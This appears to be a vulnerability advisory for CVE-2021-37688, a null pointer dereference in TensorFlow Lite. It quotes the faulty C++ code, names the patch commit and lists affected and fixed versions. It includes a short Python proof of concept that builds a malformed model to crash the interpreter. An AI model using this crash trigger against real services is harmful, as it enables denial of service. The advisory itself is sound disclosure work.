CVE-2021-37688: Null pointer dereference in TensorFlow Lite
First published: Thu Aug 12 2021(Updated: )
### Impact An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service: ```python import tensorflow as tf model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu')) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = converter.convert() interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors() interpreter.invoke() ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer. ```cc if (y4 > 1) { // ... } else { for (int i0 = 0; i0 < y0; ++i0) { const T* input2_data_ptr = nullptr; for (int i1 = 0; i1 < y1; ++i1) { input2_data_ptr = input2_data_reset; for (int i2 = 0; i2 < y2; ++i2) { scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr, output_data_ptr); } } } } ``` ### Patches We have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Google TensorFlow | >=2.3.0<2.3.4 | |
| Google TensorFlow | >=2.4.0<2.4.3 | |
| Google TensorFlow | =2.5.0 | |
| Google TensorFlow | =2.6.0-rc0 | |
| Google TensorFlow | =2.6.0-rc1 | |
| Google TensorFlow | =2.6.0-rc2 | |
| pip/tensorflow-gpu | =2.5.0 | 2.5.1 |
| pip/tensorflow-gpu | >=2.4.0<2.4.3 | 2.4.3 |
| pip/tensorflow-gpu | <2.3.4 | 2.3.4 |
| pip/tensorflow-cpu | <2.3.4 | 2.3.4 |
| pip/tensorflow-cpu | >=2.4.0<2.4.3 | 2.4.3 |
| pip/tensorflow-cpu | =2.5.0 | 2.5.1 |
| pip/tensorflow | =2.5.0 | 2.5.1 |
| pip/tensorflow | >=2.4.0<2.4.3 | 2.4.3 |
| pip/tensorflow | <2.3.4 | 2.3.4 |
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Reference Links
- https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vcjj-9vg7-vf68
- https://nvd.nist.gov/vuln/detail/CVE-2021-37688
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285
- https://github.com/advisories/GHSA-vcjj-9vg7-vf68 (Advisory)
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-601.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-799.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-310.yaml
- collector/nvd-index
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- vendor/google
- canonical/google tensorflow
- version/google tensorflow/2.3.0
- version/google tensorflow/2.4.0
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